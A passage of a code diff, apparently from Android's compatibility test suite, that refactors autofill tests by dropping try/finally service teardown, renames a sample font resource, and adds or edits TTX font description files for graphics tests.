+        mActivity.syncRunOnUiThread(() -> {
+            view.clearFocus();
+            view.requestFocus();
+        });
 
-            try {
-                sReplier.getNextFillRequest();
-            } catch (InterruptedException e) {
-                throw new RuntimeException(e);
-            }
-        }, (int) (FILL_TIMEOUT_MS * 3));
+        // NOTE: This method to require multiple attempts as the service could not be completely
+        // initialized yet (and therefore autofill would not enabled when the focus was changed),
+        // but now enableService() uses a Settings listener to wait until the setting is effect, so
+        // that flakiness should be gone if it still happens, then it could be fixed by calling
+        // InstrumentedAutoFillService.waitUntilConnected() here...
+        sReplier.getNextFillRequest();
     }
 
     private void autofillEditText(@Nullable AutofillValue value, String expectedText,
@@ -172,28 +183,27 @@
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField("editText",
-                    value).setPresentation(createPresentation("dataset")).build());
-            OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
-                    expectedText);
-            mEditText.addTextChangedListener(textWatcher);
 
-            // Trigger autofill.
-            startAutoFill(mEditText);
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("editText", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
+                expectedText);
+        mEditText.addTextChangedListener(textWatcher);
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        // Trigger autofill.
+        startAutoFill(mEditText);
 
-            if (expectAutoFill) {
-                // Check the results.
-                textWatcher.assertAutoFilled();
-            } else {
-                assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            textWatcher.assertAutoFilled();
+        } else {
+            assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
         }
     }
 
@@ -227,28 +237,26 @@
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
-                    "compoundButton", value).setPresentation(
-                    createPresentation("dataset")).build());
-            OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
-                        "compoundButton", mCompoundButton, expectedValue);
-            mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
 
-            startAutoFill(mCompoundButton);
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("compoundButton", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
+                    "compoundButton", mCompoundButton, expectedValue);
+        mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        startAutoFill(mCompoundButton);
 
-            if (expectAutoFill) {
-                // Check the results.
-                checkedWatcher.assertAutoFilled();
-            } else {
-                assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            checkedWatcher.assertAutoFilled();
+        } else {
+            assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
         }
     }
 
@@ -282,27 +290,26 @@
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField("spinner",
-                    value).setPresentation(createPresentation("dataset")).build());
-            OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
-                    "spinner", mSpinner, expectedValue);
-            mSpinner.setOnItemSelectedListener(spinnerWatcher);
 
-            startAutoFill(mSpinner);
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("spinner", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
+                "spinner", mSpinner, expectedValue);
+        mSpinner.setOnItemSelectedListener(spinnerWatcher);
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        startAutoFill(mSpinner);
 
-            if (expectAutoFill) {
-                // Check the results.
-                spinnerWatcher.assertAutoFilled();
-            } else {
-                assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            spinnerWatcher.assertAutoFilled();
+        } else {
+            assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
         }
     }
 
@@ -337,40 +344,40 @@
 
     private void autofillDateValueToDatePicker(@Nullable AutofillValue value,
             boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
-        mActivity.syncRunOnUiThread(() -> mDatePicker.setVisibility(View.VISIBLE));
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText.setVisibility(View.VISIBLE);
+            mDatePicker.setVisibility(View.VISIBLE);
+        });
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
-                    "datePicker", value).setField("editText",
-                    AutofillValue.forText("filled")).setPresentation(
-                    createPresentation("dataset")).build());
-            OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
-                    2017, 3, 7);
-            mDatePicker.setOnDateChangedListener(dateWatcher);
 
-            int nonAutofilledYear = mDatePicker.getYear();
-            int nonAutofilledMonth = mDatePicker.getMonth();
-            int nonAutofilledDay = mDatePicker.getDayOfMonth();
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("datePicker", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
+                2017, 3, 7);
+        mDatePicker.setOnDateChangedListener(dateWatcher);
 
-            // Trigger autofill.
-            startAutoFill(mEditText);
+        int nonAutofilledYear = mDatePicker.getYear();
+        int nonAutofilledMonth = mDatePicker.getMonth();
+        int nonAutofilledDay = mDatePicker.getDayOfMonth();
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        // Trigger autofill.
+        startAutoFill(mEditText);
 
-            if (expectAutoFill) {
-                // Check the results.
-                dateWatcher.assertAutoFilled();
-            } else {
-                Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
-                        nonAutofilledDay);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            dateWatcher.assertAutoFilled();
+        } else {
+            Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
+                    nonAutofilledDay);
         }
     }
 
@@ -406,39 +413,39 @@
 
     private void autofillDateValueToTimePicker(@Nullable AutofillValue value,
             boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setIs24HourView(true));
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setVisibility(View.VISIBLE));
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText.setVisibility(View.VISIBLE);
+            mTimePicker.setIs24HourView(true);
+            mTimePicker.setVisibility(View.VISIBLE);
+        });
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
-                    "timePicker", value).setField("editText",
-                    AutofillValue.forText("filled")).setPresentation(
-                    createPresentation("dataset")).build());
-            MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
-                    mTimePicker, 12, 32);
-            mTimePicker.setOnTimeChangedListener(timeWatcher);
 
-            int nonAutofilledHour = mTimePicker.getHour();
-            int nonAutofilledMinute = mTimePicker.getMinute();
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("timePicker", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
+                mTimePicker, 12, 32);
+        mTimePicker.setOnTimeChangedListener(timeWatcher);
 
-            // Trigger autofill.
-            startAutoFill(mEditText);
+        int nonAutofilledHour = mTimePicker.getHour();
+        int nonAutofilledMinute = mTimePicker.getMinute();
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        // Trigger autofill.
+        startAutoFill(mEditText);
 
-            if (expectAutoFill) {
-                // Check the results.
-                timeWatcher.assertAutoFilled();
-            } else {
-                Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            timeWatcher.assertAutoFilled();
+        } else {
+            Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
         }
     }
 
@@ -455,8 +462,10 @@
 
     @Test
     public void getTimePickerAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setHour(12));
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setMinute(32));
+        mActivity.syncRunOnUiThread(() -> {
+            mTimePicker.setHour(12);
+            mTimePicker.setMinute(32);
+        });
 
         Helper.assertTimeValue(mTimePicker, 12, 32);
 
@@ -471,37 +480,35 @@
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
-                    "radioGroup", value).setField("editText",
-                    AutofillValue.forText("filled")).setPresentation(
-                    createPresentation("dataset")).build());
-            MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
-                    "radioGroup", 2, mRadioGroup, expectedValue);
-            mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
 
-            // Trigger autofill.
-            startAutoFill(mEditText);
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("radioGroup", value)
+                .setField("editText", "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
+                "radioGroup", 2, mRadioGroup, expectedValue);
+        mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        // Trigger autofill.
+        startAutoFill(mEditText);
 
-            if (expectAutoFill) {
-                // Check the results.
-                radioGroupWatcher.assertAutoFilled();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            radioGroupWatcher.assertAutoFilled();
+        } else {
+            if (expectedValue == 0) {
+                assertThat(mRadioButton1.isChecked()).isEqualTo(true);
+                assertThat(mRadioButton2.isChecked()).isEqualTo(false);
             } else {
-                if (expectedValue == 0) {
-                    assertThat(mRadioButton1.isChecked()).isEqualTo(true);
-                    assertThat(mRadioButton2.isChecked()).isEqualTo(false);
-                } else {
-                    assertThat(mRadioButton1.isChecked()).isEqualTo(false);
-                    assertThat(mRadioButton2.isChecked()).isEqualTo(true);
+                assertThat(mRadioButton1.isChecked()).isEqualTo(false);
+                assertThat(mRadioButton2.isChecked()).isEqualTo(true);
 
-                }
             }
-        } finally {
-            disableService();
         }
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 2aa8c45..9c1f459 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -135,7 +135,11 @@
                     if (VERBOSE) Log.v(TAG, "Ignoring", e);
                     Thread.sleep(RETRY_MS);
                 } else {
-                    throw new Exception("Timedout out after " + timeout + " ms", e);
+                    if (e instanceof RetryableException) {
+                        throw e;
+                    } else {
+                        throw new Exception("Timedout out after " + timeout + " ms", e);
+                    }
                 }
             }
         }
@@ -678,6 +682,9 @@
         assertThat(getMaxPartitions()).isEqualTo(value);
     }
 
+    /**
+     * Checks if device supports the Autofill feature.
+     */
     public static boolean hasAutofillFeature() {
         return RequiredFeatureRule.hasFeature(PackageManager.FEATURE_AUTOFILL);
     }
diff --git a/tests/tests/content/res/font/invalid_xmlfamily.xml b/tests/tests/content/res/font/invalid_xmlfamily.xml
index d3b2412..d1dcef0 100644
--- a/tests/tests/content/res/font/invalid_xmlfamily.xml
+++ b/tests/tests/content/res/font/invalid_xmlfamily.xml
@@ -1,3 +1,3 @@
 <invalid-tag xmlns:android="http://schemas.android.com/apk/res/android">
-  <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+  <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
 </invalid-tag>
diff --git a/tests/tests/content/res/font/invalid_xmlfont.xml b/tests/tests/content/res/font/invalid_xmlfont.xml
index 28f3683..38f03c4 100644
--- a/tests/tests/content/res/font/invalid_xmlfont.xml
+++ b/tests/tests/content/res/font/invalid_xmlfont.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
 <font-family xmlns:android="http://schemas.android.com/apk/res/android">
   <!-- the tag inside font-family must be 'font' -->
-  <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+  <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
 </font-family>
diff --git a/tests/tests/content/res/font/samplefont.ttf b/tests/tests/content/res/font/samplefont.ttf
deleted file mode 100644
index 49f1c62..0000000
--- a/tests/tests/content/res/font/samplefont.ttf
+++ /dev/null
Binary files differ
diff --git a/tests/tests/content/res/font/samplexmlfont.xml b/tests/tests/content/res/font/samplexmlfont.xml
index 2905c13..ebf5cd2 100644
--- a/tests/tests/content/res/font/samplexmlfont.xml
+++ b/tests/tests/content/res/font/samplexmlfont.xml
@@ -1,4 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
 <font-family xmlns:android="http://schemas.android.com/apk/res/android">
-    <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+    <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
 </font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/values/styles.xml b/tests/tests/content/res/values/styles.xml
index e8b462c..91191cf 100644
--- a/tests/tests/content/res/values/styles.xml
+++ b/tests/tests/content/res/values/styles.xml
@@ -34,7 +34,7 @@
         <item name="type15">@array/difficultyLevel</item>
         <item name="type16">Typed Value!</item>
         <item name="type17">@color/testcolor_orientation</item>
-        <item name="type18">@font/samplefont</item>
+        <item name="type18">@font/sample_regular_font</item>
         <item name="typeEmpty">@empty</item>
         <item name="typeUndefined">@null</item>
     </style>
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index e8fe4bf..5856a0c 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -766,7 +766,7 @@
     }
 
     public void testGetFont_fontFile() {
-        Typeface font = mResources.getFont(R.font.samplefont);
+        Typeface font = mResources.getFont(R.font.sample_regular_font);
 
         assertNotNull(font);
         assertNotSame(Typeface.DEFAULT, font);
@@ -841,8 +841,8 @@
     }
 
     public void testGetFont_fontFileIsCached() {
-        Typeface font = mResources.getFont(R.font.samplefont);
-        Typeface font2 = mResources.getFont(R.font.samplefont);
+        Typeface font = mResources.getFont(R.font.sample_regular_font);
+        Typeface font2 = mResources.getFont(R.font.sample_regular_font);
 
         assertEquals(font, font2);
     }
diff --git a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
index fa8b859..4e1469b 100644
--- a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
+++ b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
@@ -170,7 +170,7 @@
         }
 
         final Typeface font = t.getFont(R.styleable.style1_type18);
-        assertEquals(mContext.getResources().getFont(R.font.samplefont), font);
+        assertEquals(mContext.getResources().getFont(R.font.sample_regular_font), font);
 
         // NOTE: order does not matter here.
         // R.styleable.style1_typeUndefined is not expected because TYPE_NULL values do not get
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index ece0908..360e09f 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -34,8 +34,6 @@
         <activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
                   android:theme="@style/WhiteBackgroundNoWindowAnimation"
                   android:screenOrientation="locked"/>
-
-        <activity android:name="android.graphics.fonts.cts.MockActivity"/>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/graphics/assets/multiaxis.ttf b/tests/tests/graphics/assets/multiaxis.ttf
index 606f555..6e78c28 100644
--- a/tests/tests/graphics/assets/multiaxis.ttf
+++ b/tests/tests/graphics/assets/multiaxis.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/multiaxis.ttx b/tests/tests/graphics/assets/multiaxis.ttx
index 5b31644..7d7279e 100644
--- a/tests/tests/graphics/assets/multiaxis.ttx
+++ b/tests/tests/graphics/assets/multiaxis.ttx
@@ -162,28 +162,21 @@
 
   <fvar>
     <Axis>
-      <AxisTag>aaaa</AxisTag>
+      <AxisTag>wght</AxisTag>
+      <MinValue>0</MinValue>
+      <DefaultValue>400</DefaultValue>
+      <MaxValue>700</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+    <Axis>
+      <AxisTag>PRIV</AxisTag>
       <MinValue>-1.0</MinValue>
       <DefaultValue>0.0</DefaultValue>
       <MaxValue>1.0</MaxValue>
       <NameID>256</NameID>
     </Axis>
     <Axis>
-      <AxisTag>BBBB</AxisTag>
-      <MinValue>-1.0</MinValue>
-      <DefaultValue>0.0</DefaultValue>
-      <MaxValue>1.0</MaxValue>
-      <NameID>256</NameID>
-    </Axis>
-    <Axis>
-      <AxisTag>a b </AxisTag>
-      <MinValue>-1.0</MinValue>
-      <DefaultValue>0.0</DefaultValue>
-      <MaxValue>1.0</MaxValue>
-      <NameID>256</NameID>
-    </Axis>
-    <Axis>
-      <AxisTag> C D</AxisTag>
+      <AxisTag>PR12</AxisTag>
       <MinValue>-1.0</MinValue>
       <DefaultValue>0.0</DefaultValue>
       <MaxValue>1.0</MaxValue>
@@ -216,6 +209,9 @@
     <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
       MultiAxisFontTest-Regular
     </namerecord>
+    <namerecord nameID="256" platformID="3" platEncID="1" langID="0x409">
+      Axis Name
+    </namerecord>
   </name>
 
   <post>
diff --git a/tests/tests/graphics/assets/samplefont.ttf b/tests/tests/graphics/assets/samplefont.ttf
index 49f1c62..5fccad2 100644
--- a/tests/tests/graphics/assets/samplefont.ttf
+++ b/tests/tests/graphics/assets/samplefont.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont.ttx b/tests/tests/graphics/assets/samplefont.ttx
new file mode 100644
index 0000000..f618123
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/samplefont2.ttf b/tests/tests/graphics/assets/samplefont2.ttf
index b8302d4..f31b8a9 100644
--- a/tests/tests/graphics/assets/samplefont2.ttf
+++ b/tests/tests/graphics/assets/samplefont2.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont2.ttx b/tests/tests/graphics/assets/samplefont2.ttx
index 40fa268..f618123 100644
--- a/tests/tests/graphics/assets/samplefont2.ttx
+++ b/tests/tests/graphics/assets/samplefont2.ttx
@@ -136,17 +136,8 @@
   </glyf>
 
   <name>
-    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Sample Font
-    </namerecord>
-    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Regular
-    </namerecord>
-    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Sample Font
-    </namerecord>
-    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      SampleFont-Regular
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
     </namerecord>
     <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
       Sample Font
@@ -160,6 +151,18 @@
     <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
       SampleFont-Regular
     </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
   </name>
 
   <post>
diff --git a/tests/tests/graphics/assets/samplefont3.ttf b/tests/tests/graphics/assets/samplefont3.ttf
index f0e7524..9c850ab 100644
--- a/tests/tests/graphics/assets/samplefont3.ttf
+++ b/tests/tests/graphics/assets/samplefont3.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont3.ttx b/tests/tests/graphics/assets/samplefont3.ttx
index f053408..b3f08e6 100644
--- a/tests/tests/graphics/assets/samplefont3.ttx
+++ b/tests/tests/graphics/assets/samplefont3.ttx
@@ -136,17 +136,8 @@
   </glyf>
 
   <name>
-    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Sample Font
-    </namerecord>
-    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Regular
-    </namerecord>
-    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      Sample Font
-    </namerecord>
-    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
-      SampleFont-Regular
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
     </namerecord>
     <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
       Sample Font
@@ -160,6 +151,18 @@
     <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
       SampleFont-Regular
     </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
   </name>
 
   <post>
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 924b23c..0d70947 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
@@ -903,34 +904,45 @@
